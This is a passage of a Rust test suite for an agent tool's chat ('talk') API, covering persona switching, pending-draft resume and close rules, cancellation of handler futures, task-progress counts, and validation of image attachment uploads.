15677 if arrived {
15678 assert!(!settling.await);
15679 }
15680 assert!(!ui.is_thinking(&id));
15681 }
15682 }
15683
15684 #[tokio::test]
15685 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15686 let tmp = TempDir::new().expect("tempdir");
15687 let repo = tmp.path().join("repo");
15688 std::fs::create_dir_all(&repo).expect("repo dir");
15689 std::fs::write(
15690 repo.join("magi.toml"),
15691 format!(
15692 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15693 ),
15694 )
15695 .expect("write magi.toml");
15696 let home = TempDir::new().expect("temp home");
15697 let talks = Talks::at(home.path().join("talks"));
15698 let ui = Arc::new(
15699 Ui::new(
15700 Queue::at(home.path().join("queue")),
15701 Questions::at(home.path().join("questions")),
15702 talks.clone(),
15703 home.path().join("runs"),
15704 home.path().to_path_buf(),
15705 repo.clone(),
15706 )
15707 .with_worktrees_root(home.path().join("wt")),
15708 );
15709 let cfg = config_for(&repo).await.expect("discover config");
15710 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15711 let id = talk.id.clone();
15712 let call = |persona: &str| {
15713 talk_persona(
15714 State(Arc::clone(&ui)),
15715 Path(id.clone()),
15716 Json(TalkPersona {
15717 persona: persona.to_owned(),
15718 }),
15719 )
15720 };
15721
15722 let unknown = call("nobody").await.expect_err("unknown persona");
15723 assert_eq!(
15724 unknown.status,
15725 StatusCode::BAD_REQUEST,
15726 "{}",
15727 unknown.message
15728 );
15729
15730 {
15731 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15734 let busy = call("rei").await.expect_err("busy talk");
15735 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15736 assert!(
15737 busy.message.contains("a talk turn is running"),
15738 "{}",
15739 busy.message
15740 );
15741 drop(guard);
15742 }
15743 assert_eq!(talks.get(&id).expect("reload").persona, "");
15744
15745 let Json(view) = call("gendo").await.expect("switch to a configured persona");
15746 assert_eq!(view.talk.persona, "gendo");
15747 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15748 assert!(!ui.is_thinking(&id), "idle response must release the claim");
15749 for chosen in ["default", "gendo", "rei", "gendo"] {
15751 let Json(view) = call(chosen).await.expect("immediate consecutive change");
15752 assert!(!view.thinking);
15753 assert!(!ui.is_thinking(&id));
15754 }
15755
15756 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15757 .await
15758 .expect("detail");
15759 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15760 assert_eq!(ids.first(), Some(&"default"));
15761 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15762
15763 let Json(view) = call("default").await.expect("back to default");
15764 assert_eq!(view.talk.persona, "");
15765
15766 let mut closed = talks.get(&id).expect("reload");
15767 talk::close(&mut closed, &talks).expect("close");
15768 let refused = call("rei").await.expect_err("closed talk");
15769 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15770 assert!(
15771 refused.message.contains("takes no more turns"),
15772 "{}",
15773 refused.message
15774 );
15775 }
15776
15777 #[tokio::test]
15778 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15779 let f = Fixture::start().await;
15780 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15781 let queue = f.queue();
15782 let mut mine = Task::new(
15783 "rename the loader".to_owned(),
15784 "rename the loader".to_owned(),
15785 PathBuf::from("/repo/magi"),
15786 Source::Agent {
15787 run: talk_id.clone(),
15788 node: "chat".to_owned(),
15789 },
15790 );
15791 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15792 assert_eq!(empty["task_progress"]["state"], "none");
15793 assert_eq!(empty["task_progress"]["total"], 0);
15794 queue.put(&mut mine).expect("file the task");
15795 let mut theirs = Task::new(
15796 "unrelated".to_owned(),
15797 "unrelated".to_owned(),
15798 PathBuf::from("/repo/magi"),
15799 Source::Human,
15800 );
15801 theirs.origin_chat = Some(talk_id.clone());
15803 queue.put(&mut theirs).expect("file the task");
15804
15805 let res = f.get(&format!("/api/talks/{talk_id}")).await;
15806 assert_eq!(res.status, 200, "{}", res.body);
15807 let body = res.json();
15808 assert_eq!(
15809 body["status"], "open",
15810 "filing a task does not close a talk"
15811 );
15812 let tasks = body["tasks"].as_array().expect("tasks array");
15813 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15814 assert_eq!(tasks[0]["id"], mine.id);
15815 for status in [
15816 TaskStatus::Queued,
15817 TaskStatus::Running,
15818 TaskStatus::Held,
15819 TaskStatus::Failed,
15820 TaskStatus::Blocked,
15821 TaskStatus::Parked,
15822 TaskStatus::Done,
15823 TaskStatus::Queued,
15824 ] {
15825 mine.status = status;
15826 queue.put(&mut mine).expect("update status");
15827 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15828 let progress = &detail["task_progress"];
15829 assert_eq!(progress["total"], 1);
15830 assert_eq!(progress["counts"][status.as_str()], 1);
15831 assert_eq!(detail["tasks"][0]["status"], status.as_str());
15832 assert_eq!(detail["status"], "open", "completion never closes the chat");
15833 if status == TaskStatus::Done {
15834 assert_eq!(progress["state"], "complete");
15835 assert_eq!(progress["done"], 1);
15836 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15837 } else {
15838 assert_eq!(progress["state"], "incomplete");
15839 assert_eq!(progress["done"], 0);
15840 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15841 }
15842 }
15843 }
15844
15845 #[test]
15846 fn talk_task_progress_counts_mixed_statuses() {
15847 let mut tasks: Vec<_> = [
15848 TaskStatus::Queued,
15849 TaskStatus::Running,
15850 TaskStatus::Held,
15851 TaskStatus::Failed,
15852 TaskStatus::Blocked,
15853 TaskStatus::Parked,
15854 TaskStatus::Done,
15855 ]
15856 .into_iter()
15857 .map(|status| {
15858 let mut task = Task::new(
15859 "task".into(),
15860 "task".into(),
15861 PathBuf::from("/repo"),
15862 Source::Human,
15863 );
15864 task.status = status;
15865 task
15866 })
15867 .collect();
15868 let progress = talk_task_progress(&tasks);
15869 assert_eq!(progress.state, "incomplete");
15870 assert_eq!(progress.total, 7);
15871 assert_eq!(progress.done, 1);
15872 assert_eq!(progress.unfinished_ids.len(), 6);
15873 assert!(progress.counts.values().all(|count| *count == 1));
15874 assert_eq!(
15875 progress.unfinished_ids,
15876 tasks[..6]
15877 .iter()
15878 .map(|task| task.id.clone())
15879 .collect::<Vec<_>>()
15880 );
15881
15882 for task in &mut tasks {
15883 task.status = TaskStatus::Done;
15884 }
15885 let complete = talk_task_progress(&tasks);
15886 assert_eq!(complete.state, "complete");
15887 assert_eq!(complete.done, 7);
15888 assert!(complete.unfinished_ids.is_empty());
15889 tasks[0].status = TaskStatus::Queued;
15890 let requeued = talk_task_progress(&tasks);
15891 assert_eq!(requeued.state, "incomplete");
15892 assert_eq!(requeued.done, 6);
15893 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15894
15895 let empty = talk_task_progress(&[]);
15896 assert_eq!(empty.state, "none");
15897 assert_eq!(empty.total, 0);
15898 assert_eq!(empty.done, 0);
15899 assert!(empty.unfinished_ids.is_empty());
15900 assert!(empty.counts.values().all(|count| *count == 0));
15901 }
15902
15903 #[tokio::test]
15904 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15905 let (_tmp, _repo, f) = talk_fixture().await;
15906 let id = f.post("/api/talks", None).await.json()["id"]
15907 .as_str()
15908 .expect("id")
15909 .to_owned();
15910
15911 let res = f
15912 .post(
15913 &format!("/api/talks/{id}/say"),
15914 Some(r#"{"text":"what does the queue module do?"}"#),
15915 )
15916 .await;
15917 assert_eq!(res.status, 202, "{}", res.body);
15918 let queued = res.json();
15919 let turns = queued["turns"].as_array().expect("turns array");
15920 assert_eq!(
15921 turns.len(),
15922 1,
15923 "the answer reflects only what is on disk the instant it is sent, \
15924 before the agent's turn - which can run for the whole of \
15925 `[graph] timeout_talk` - has a chance to land: {queued}"
15926 );
15927 assert_eq!(turns[0]["who"], "operator");
15928 assert_eq!(turns[0]["body"], "what does the queue module do?");
15929 assert_eq!(
15930 queued["thinking"], true,
15931 "the accepted response exposes the background turn claim: {queued}"
15932 );
15933
15934 let mut turns_after = 1;
15935 for _ in 0..SETTLE_STEPS {
15936 let detail = f.get(&format!("/api/talks/{id}")).await.json();
15937 turns_after = detail["turns"].as_array().expect("turns array").len();
15938 if turns_after == 2 {
15939 break;
15940 }
15941 tokio::time::sleep(Duration::from_millis(10)).await;
15942 }
15943 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15944 }
15945
15946 #[tokio::test]
15973 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15974 let tmp = TempDir::new().expect("tempdir");
15975 let repo = tmp.path().join("repo");
15976 std::fs::create_dir_all(&repo).expect("repo dir");
15977 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15978 let home = TempDir::new().expect("temp home");
15979 let talks = Talks::at(home.path().join("talks"));
15980 let ui = Arc::new(
15981 Ui::new(
15982 Queue::at(home.path().join("queue")),
15983 Questions::at(home.path().join("questions")),
15984 talks.clone(),
15985 home.path().join("runs"),
15986 home.path().to_path_buf(),
15987 repo.clone(),
15988 )
15989 .with_worktrees_root(home.path().join("wt")),
15990 );
15991 let cfg = config_for(&repo).await.expect("discover config");
15992
15993 for delay in 0..40u32 {
15994 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15995 let id = talk.id.clone();
15996
15997 let handler = tokio::spawn(talk_say(
15998 State(Arc::clone(&ui)),
15999 Path(id.clone()),
16000 Ok(Json(NewTalkTurn {
16001 reply_to: None,
16002 text: "what does the queue module do?".to_owned(),
16003 attachments: Vec::new(),
16004 })),
16005 ));
16006 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16007 handler.abort();
16008 let _ = handler.await;
16011
16012 let mut turns = 0;
16013 for _ in 0..SETTLE_STEPS {
16014 if let Ok(fresh) = talks.get(&id) {
16015 turns = fresh.turns.len();
16016 if turns != 1 {
16017 break;
16018 }
16019 }
16020 tokio::time::sleep(Duration::from_millis(10)).await;
16021 }
16022 assert_ne!(
16023 turns, 1,
16024 "delay {delay}: talk {id} recorded the operator's turn but \
16025 the agent never answered - the reply task was never \
16026 started after the handler future was dropped"
16027 );
16028 }
16029 }
16030
16031 #[tokio::test]
16076 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16077 let tmp = TempDir::new().expect("tempdir");
16078 let repo = tmp.path().join("repo");
16079 std::fs::create_dir_all(&repo).expect("repo dir");
16080 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16081 let home = TempDir::new().expect("temp home");
16082 let talks = Talks::at(home.path().join("talks"));
16083 let ui = Arc::new(
16084 Ui::new(
16085 Queue::at(home.path().join("queue")),
16086 Questions::at(home.path().join("questions")),
16087 talks.clone(),
16088 home.path().join("runs"),
16089 home.path().to_path_buf(),
16090 repo.clone(),
16091 )
16092 .with_worktrees_root(home.path().join("wt")),
16093 );
16094 let cfg = config_for(&repo).await.expect("discover config");
16095
16096 for attempt in 0..3u32 {
16097 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16098 let id = talk.id.clone();
16099 let turn_guard = ui
16102 .begin_talk_turn(&id)
16103 .expect("claim the turn")
16104 .expect("a fresh talk owes nobody a turn");
16105
16106 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16107 let (release_tx, release_rx) = std::sync::mpsc::channel();
16108 ui.set_busy_queue_gate(BusyQueueGate {
16109 reached: reached_tx,
16110 release: release_rx,
16111 });
16112
16113 let handler = tokio::spawn(talk_say(
16114 State(Arc::clone(&ui)),
16115 Path(id.clone()),
16116 Ok(Json(NewTalkTurn {
16117 reply_to: None,
16118 text: "what does the queue module do?".to_owned(),
16119 attachments: Vec::new(),
16120 })),
16121 ));
16122
16123 tokio::time::timeout(Duration::from_secs(5), reached_rx)
16128 .await
16129 .unwrap_or_else(|_| {
16130 panic!(
16131 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16132 )
16133 })
16134 .expect("the busy branch dropped the gate without using it");
16135 assert!(
16136 crate::chat_worker::try_publication_guard(&talks, &id)
16137 .expect("publication fence")
16138 .is_none(),
16139 "a queued worker cannot promote text before its successor reservation is published"
16140 );
16141
16142 let closing = Arc::clone(&ui.admissions).write_owned();
16146 tokio::pin!(closing);
16147 std::future::poll_fn(|cx| {
16148 assert!(closing.as_mut().poll(cx).is_pending());
16149 std::task::Poll::Ready(())
16150 })
16151 .await;
16152 assert!(
16153 ui.begin_admission().is_err(),
16154 "replacement blocks later admissions"
16155 );
16156
16157 let running = talks.get(&id).expect("reload talk");
16164 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16165
16166 handler.abort();
16170 let _ = handler.await;
16171 std::future::poll_fn(|cx| {
16172 assert!(
16173 closing.as_mut().poll(cx).is_pending(),
16174 "HTTP cancellation must not abandon a publishing transaction"
16175 );
16176 std::task::Poll::Ready(())
16177 })
16178 .await;
16179 assert!(
16180 crate::chat_worker::try_publication_guard(&talks, &id)
16181 .expect("publication fence after disconnect")
16182 .is_none()
16183 );
16184
16185 let _ = release_tx.send(());
16191 drop(
16192 tokio::time::timeout(Duration::from_secs(5), closing)
16193 .await
16194 .expect("short admission transaction should release for replacement"),
16195 );
16196 assert!(
16197 crate::chat_worker::try_publication_guard(&talks, &id)
16198 .expect("publication fence after acknowledgement")
16199 .is_some(),
16200 "the publication fence is not retained by the long response"
16201 );
16202
16203 let mut fresh = talks.get(&id).expect("reload talk");
16206 for _ in 0..SETTLE_STEPS {
16207 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16208 break;
16209 }
16210 tokio::time::sleep(Duration::from_millis(10)).await;
16211 fresh = talks.get(&id).expect("reload talk");
16212 }
16213 assert!(
16214 fresh.pending.is_empty() && fresh.turns.len() == 2,
16215 "attempt {attempt}: talk {id} left the operator's text queued \
16216 with no drainer - the reclaimed turn was dropped along with \
16217 the handler future (pending {:?}, {} turns)",
16218 fresh.pending,
16219 fresh.turns.len()
16220 );
16221 }
16222 }
16223
16224 #[tokio::test]
16225 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16226 let (_tmp, _repo, f) = talk_fixture().await;
16227 let id = f.post("/api/talks", None).await.json()["id"]
16228 .as_str()
16229 .expect("id")
16230 .to_owned();
16231 let store = f.talks();
16232 let mut recovered = store.get(&id).expect("opened talk");
16233 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16234 .expect("persist pending draft without a live turn");
16235
16236 let edited = f
16237 .post(
16238 &format!("/api/talks/{id}/pending/edit"),
16239 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16240 )
16241 .await;
16242 assert_eq!(edited.status, 200, "{}", edited.body);
16243 assert!(edited.json()["thinking"].as_bool().unwrap());
16244
16245 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16246 for _ in 0..SETTLE_STEPS {
16247 if detail["turns"].as_array().expect("turns").len() == 2 {
16248 break;
16249 }
16250 tokio::time::sleep(Duration::from_millis(10)).await;
16251 detail = f.get(&format!("/api/talks/{id}")).await.json();
16252 }
16253 let turns = detail["turns"].as_array().expect("turns");
16254 assert_eq!(
16255 turns.len(),
16256 2,
16257 "the recovered draft must run once: {detail}"
16258 );
16259 assert_eq!(turns[0]["body"], "corrected");
16260 assert_eq!(detail["pending"], "");
16261 }
16262
16263 #[tokio::test]
16264 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16265 let tmp = TempDir::new().expect("tempdir");
16266 let repo = tmp.path().join("repo");
16267 std::fs::create_dir_all(&repo).expect("repo dir");
16268 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16269 let f = Fixture::with_repo(repo).await;
16270 let id = f.post("/api/talks", None).await.json()["id"]
16271 .as_str()
16272 .expect("id")
16273 .to_owned();
16274 let store = f.talks();
16275 let mut recovered = store.get(&id).expect("opened talk");
16276 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16277 .expect("persist pending draft without a live turn");
16278
16279 let refused = f
16280 .post(
16281 &format!("/api/talks/{id}/say"),
16282 Some(r#"{"text":"new message"}"#),
16283 )
16284 .await;
16285 assert_eq!(refused.status, 409, "{}", refused.body);
16286 assert!(refused.body.contains("resume"), "{}", refused.body);
16287 let saved = store.get(&id).expect("draft remains after refusal");
16288 assert!(saved.turns.is_empty());
16289 assert_eq!(saved.pending, "saved before restart");
16290
16291 let say_path = format!("/api/talks/{id}/say");
16292 let (first, second) = tokio::join!(
16293 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16294 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16295 );
16296 assert_eq!(first.status, 409, "{}", first.body);
16297 assert_eq!(second.status, 409, "{}", second.body);
16298 let saved = store
16299 .get(&id)
16300 .expect("draft remains after concurrent refusals");
16301 assert!(saved.turns.is_empty());
16302 assert_eq!(saved.pending, "saved before restart");
16303
16304 let resumed = f
16305 .post(&format!("/api/talks/{id}/pending/resume"), None)
16306 .await;
16307 assert_eq!(resumed.status, 202, "{}", resumed.body);
16308 let duplicate = f
16309 .post(&format!("/api/talks/{id}/pending/resume"), None)
16310 .await;
16311 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16312
16313 for _ in 0..SETTLE_STEPS {
16314 if store.get(&id).expect("talk").turns.len() == 2 {
16315 break;
16316 }
16317 tokio::time::sleep(Duration::from_millis(10)).await;
16318 }
16319 let finished = store.get(&id).expect("finished talk");
16320 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16321 assert_eq!(finished.turns[0].body, "saved before restart");
16322 assert!(finished.pending.is_empty());
16323 }
16324
16325 #[tokio::test]
16326 async fn an_image_only_recovered_draft_resumes_without_text() {
16327 let (_tmp, _repo, f) = talk_fixture().await;
16328 let id = f.post("/api/talks", None).await.json()["id"]
16329 .as_str()
16330 .expect("id")
16331 .to_owned();
16332 let uploaded = f
16333 .post_bytes(
16334 &format!("/api/talks/{id}/attachments"),
16335 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16336 PNG_BYTES,
16337 )
16338 .await;
16339 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16340 let attachment = f
16341 .talks()
16342 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16343 .expect("attachment metadata")
16344 .expect("stored attachment");
16345 let store = f.talks();
16346 let mut recovered = store.get(&id).expect("opened talk");
16347 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16348
16349 let resumed = f
16350 .post(&format!("/api/talks/{id}/pending/resume"), None)
16351 .await;
16352 assert_eq!(resumed.status, 202, "{}", resumed.body);
16353 for _ in 0..SETTLE_STEPS {
16354 if store.get(&id).expect("talk").turns.len() == 2 {
16355 break;
16356 }
16357 tokio::time::sleep(Duration::from_millis(10)).await;
16358 }
16359 let finished = store.get(&id).expect("finished talk");
16360 assert_eq!(finished.turns.len(), 2, "{finished:?}");
16361 assert!(finished.turns[0].body.is_empty());
16362 assert_eq!(finished.turns[0].attachments.len(), 1);
16363 assert!(finished.pending_attachments.is_empty());
16364 }
16365
16366 #[tokio::test]
16367 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16368 let (_tmp, _repo, f) = talk_fixture().await;
16369 let id = f.post("/api/talks", None).await.json()["id"]
16370 .as_str()
16371 .expect("id")
16372 .to_owned();
16373 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16374 assert_eq!(closed.status, 200, "{}", closed.body);
16375 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16376 .expect("serialize closed talk");
16377 for (path, body) in [
16378 (format!("/api/talks/{id}/pending/resume"), None),
16379 (
16380 format!("/api/talks/{id}/pending/clear"),
16381 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16382 ),
16383 (
16384 format!("/api/talks/{id}/pending/edit"),
16385 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16386 ),
16387 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16388 ] {
16389 let response = f.post(&path, body).await;
16390 assert_eq!(response.status, 409, "{}", response.body);
16391 }
16392 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16393 .expect("serialize closed talk");
16394 assert_eq!(
16395 after_clear, before_clear,
16396 "clear must not rewrite a closed talk"
16397 );
16398 }
16399
16400 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16403
16404 #[tokio::test]
16405 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16406 let tmp = TempDir::new().expect("tempdir");
16407 let repo = tmp.path().join("repo");
16408 std::fs::create_dir_all(&repo).expect("repo dir");
16409 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16410 let f = Fixture::with_repo(repo).await;
16411 let id_a = f.post("/api/talks", None).await.json()["id"]
16412 .as_str()
16413 .unwrap()
16414 .to_owned();
16415 let id_b = f.post("/api/talks", None).await.json()["id"]
16416 .as_str()
16417 .unwrap()
16418 .to_owned();
16419
16420 let a = f
16421 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16422 .await;
16423 assert_eq!(a.status, 202, "{}", a.body);
16424 assert_eq!(a.json()["thinking"], true);
16425 let b = f
16426 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16427 .await;
16428 assert_eq!(b.status, 202, "{}", b.body);
16429 assert_eq!(b.json()["thinking"], true);
16430
16431 let listed = f.get("/api/talks").await.json();
16432 for id in [&id_a, &id_b] {
16433 let view = listed
16434 .as_array()
16435 .unwrap()
16436 .iter()
16437 .find(|talk| talk["id"] == *id)
16438 .unwrap();
16439 assert_eq!(view["thinking"], true, "{listed}");
16440 }
16441 let repeated = f
16442 .post(
16443 &format!("/api/talks/{id_a}/say"),
16444 Some(r#"{"text":"again"}"#),
16445 )
16446 .await;
16447 assert_eq!(repeated.status, 202, "{}", repeated.body);
16448 assert_eq!(repeated.json()["pending"], "again");
16449 }
16450
16451 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16454
16455 #[tokio::test]
16456 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16457 let f = Fixture::start().await;
16458 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16459
16460 let res = f
16461 .post_bytes(
16462 &format!("/api/talks/{id}/attachments"),
16463 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16464 PNG_BYTES,
16465 )
16466 .await;
16467 assert_eq!(res.status, 201, "{}", res.body);
16468 let body = res.json();
16469 assert_eq!(body["name"], "shot.png");
16470 assert_eq!(body["mime"], "image/png");
16471 assert_eq!(body["bytes"], PNG_BYTES.len());
16472 let att_id = body["id"].as_str().expect("id").to_owned();
16473 assert_eq!(
16474 att_id.len(),
16475 32,
16476 "the id must never be a client-suppliable path: {att_id}"
16477 );
16478
16479 let got = f
16480 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16481 .await;
16482 assert_eq!(got.status, 200, "{}", got.body);
16483 assert_eq!(got.header("content-type"), Some("image/png"));
16484 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16485 assert_eq!(got.bytes, PNG_BYTES);
16486 }
16487
16488 #[tokio::test]
16489 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16490 let f = Fixture::start().await;
16491 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16492
16493 let svg = f
16496 .post_bytes(
16497 &format!("/api/talks/{id}/attachments"),
16498 &[("Content-Type", "image/svg+xml")],
16499 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16500 )
16501 .await;
16502 assert!(
16503 (400..500).contains(&svg.status),
16504 "svg must be refused: {} {}",
16505 svg.status,
16506 svg.body
16507 );
16508 assert!(svg.body.contains("SVG"), "{}", svg.body);
16509
16510 let text = f
16511 .post_bytes(
16512 &format!("/api/talks/{id}/attachments"),
16513 &[("Content-Type", "text/plain")],
16514 b"just some text",
16515 )
16516 .await;
16517 assert!(
16518 (400..500).contains(&text.status),
16519 "an unlisted type must be refused: {} {}",
16520 text.status,
16521 text.body
16522 );
16523
16524 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16527 let big = f
16528 .post_bytes(
16529 &format!("/api/talks/{id}/attachments"),
16530 &[("Content-Type", "image/png")],
16531 &oversized,
16532 )
16533 .await;
16534 assert_eq!(
16535 big.status,
16536 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16537 "{}",
16538 big.body
16539 );
16540 }
16541
16542 #[tokio::test]
16543 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16544 let f = Fixture::start().await;
16545 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16546
16547 let res = f
16550 .post_bytes(
16551 &format!("/api/talks/{id}/attachments"),
16552 &[("Content-Type", "image/png")],
16553 b"<html>not a picture</html>",
16554 )
16555 .await;
16556 assert!((400..500).contains(&res.status), "{}", res.body);
16557 }
16558
16559 #[tokio::test]
16560 async fn an_unknown_attachment_id_is_a_404() {
16561 let f = Fixture::start().await;
16562 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16563
16564 let res = f
16565 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16566 .await;
16567 assert_eq!(res.status, 404, "{}", res.body);
16568 }
16569
16570 #[tokio::test]
16571 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16572 let f = Fixture::start().await;
16573 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16574
16575 let uploaded = f
16576 .post_bytes(
16577 &format!("/api/talks/{id}/attachments"),
16578 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16579 PNG_BYTES,
16580 )
16581 .await;
16582 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16583 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16584
16585 let res = f
16586 .post(
16587 &format!("/api/talks/{id}/say"),
16588 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16589 )
16590 .await;
16591 assert_eq!(res.status, 202, "{}", res.body);
16592 let queued = res.json();
16593 let turns = queued["turns"].as_array().expect("turns array");
16594 assert_eq!(
16595 turns.len(),
16596 1,
16597 "an empty body with an attachment is still a turn: {queued}"
16598 );
16599 assert_eq!(turns[0]["who"], "operator");
16600 assert_eq!(turns[0]["body"], "");
16601 let atts = turns[0]["attachments"]
16602 .as_array()
16603 .expect("attachments array");
16604 assert_eq!(atts.len(), 1);
16605 assert_eq!(atts[0]["id"], att_id);
16606 assert_eq!(atts[0]["mime"], "image/png");
16607
16608 let on_disk = f.talks().get(&id).expect("get");
16611 assert_eq!(on_disk.turns[0].attachments.len(), 1);
16612 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16613 }
16614
16615 #[tokio::test]
16616 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16617 let f = Fixture::start().await;
16618 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16619
16620 let res = f
16621 .post(
16622 &format!("/api/talks/{id}/say"),
16623 Some(&format!(
16624 r#"{{"text":"hi","attachments":["{}"]}}"#,
16625 "a".repeat(32)
16626 )),
16627 )
16628 .await;
16629 assert!((400..500).contains(&res.status), "{}", res.body);
16630 assert!(res.body.contains("unknown attachment"), "{}", res.body);
16631
16632 let on_disk = f.talks().get(&id).expect("get");
16633 assert!(
16634 on_disk.turns.is_empty(),
16635 "a rejected attachment id must not partially record the turn: {:?}",
16636 on_disk.turns
16637 );
16638 }
16639
16640 #[tokio::test]
16641 async fn talk_close_makes_the_talk_refuse_further_turns() {
16642 let f = Fixture::start().await;
16643 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16644
16645 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16646 assert_eq!(closed.status, 200, "{}", closed.body);
16647 assert_eq!(closed.json()["status"], "closed");
16648
16649 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16651 assert_eq!(closed_again.status, 200);
16652 assert_eq!(closed_again.json()["status"], "closed");
16653
16654 let said = f
16655 .post(
16656 &format!("/api/talks/{id}/say"),
16657 Some(r#"{"text":"too late"}"#),
16658 )
16659 .await;
16660 assert_eq!(said.status, 409, "{}", said.body);
16661 }
16662
16663 #[tokio::test]
16664 async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16665 let f = Fixture::start().await;
16666 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16667 let store = f.talks();
16668 let mut queued = store.get(&id).expect("talk");
16669 for automatic in [false, true] {
16670 if automatic {
16671 talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16672 .expect("queue automatic input");
16673 } else {
16674 talk::queue(&mut queued, &store, "queued send", Vec::new())
16675 .expect("queue operator input");
16676 }
16677 let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16678 let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16679 assert_eq!(refused.status, 409, "{}", refused.body);
16680 assert!(refused.body.contains("pending input"), "{}", refused.body);
16681 assert_eq!(
16682 serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16683 before,
16684 "a close refusal must preserve the entire record"
16685 );
16686 talk::clear_pending(&mut queued, &store).expect("clear saved input");
16687 }
